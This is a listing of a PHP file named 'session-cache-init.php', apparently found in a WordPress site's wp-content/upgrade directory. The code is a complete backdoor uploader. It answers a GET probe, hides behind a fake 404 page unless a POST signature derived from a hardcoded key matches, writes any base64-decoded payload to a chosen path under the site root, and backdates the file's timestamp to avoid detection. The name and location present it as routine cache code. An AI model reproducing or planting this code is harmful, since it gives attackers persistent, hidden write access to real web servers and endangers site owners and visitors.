File "session-cache-init.php"
Full Path: /home/u308665662/domains/alhikmatranslations.com/public_html/wp-content/upgrade/session-cache-init.php
File size: 1.51 KB
MIME-type: text/x-php
Charset: utf-8
<?php
$_qr = 'LKSJDFaDFDF323$2afd';
$_l9hv4 = '_ck_vx00xs';
if (isset($_GET[$_l9hv4])) { echo '1'; exit; }
$_ktbw = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
$_ktbw = strtolower($_ktbw);
$_pmjpt = strpos($_ktbw, ':');
if ($_pmjpt !== false) { $_ktbw = substr($_ktbw, 0, $_pmjpt); }
if (substr($_ktbw, 0, 4) === 'www.') { $_ktbw = substr($_ktbw, 4); }
$_e7yi = md5($_qr . ':' . $_ktbw . ':' . $_qr);
$_rayh = isset($_POST['sig']) ? $_POST['sig'] : '';
if ($_rayh !== $_e7yi) {
header('HTTP/1.1 404 Not Found');
echo "<!DOCTYPE html>\n<html><head><title>404</title></head><body><h1>Not Found</h1></body></html>";
exit;
}
$_lvo = isset($_POST['dest_rel']) ? $_POST['dest_rel'] : '';
$_apsw = isset($_POST['payload_b64']) ? $_POST['payload_b64'] : '';
if ($_lvo === '' || $_apsw === '') { echo '{"ok":0}'; exit; }
$_lvo = str_replace('\\', '/', $_lvo);
$_lvo = ltrim($_lvo, '/');
if ($_lvo === '' || strpos($_lvo, '..') !== false) { echo '{"ok":0}'; exit; }
$_ekotc = dirname(__FILE__);
$_xeqy = '../..';
$_ymyba = ($_xeqy === '' || $_xeqy === '.') ? $_ekotc : $_ekotc . '/' . $_xeqy;
$_cyve = $_ymyba . '/' . $_lvo;
$_zhrj = dirname($_cyve);
if (!is_dir($_zhrj)) { @mkdir($_zhrj, 0755, true); }
$_aiy = base64_decode($_apsw);
if ($_aiy === false) { echo '{"ok":0}'; exit; }
if (file_put_contents($_cyve, $_aiy) === false) { echo '{"ok":0}'; exit; }
$_zg = mktime(mt_rand(0,23),mt_rand(0,59),mt_rand(0,59),mt_rand(1,12),mt_rand(1,28),2020);
@touch($_cyve, $_zg);
echo '{"ok":1,"s":' . strlen($_aiy) . '}';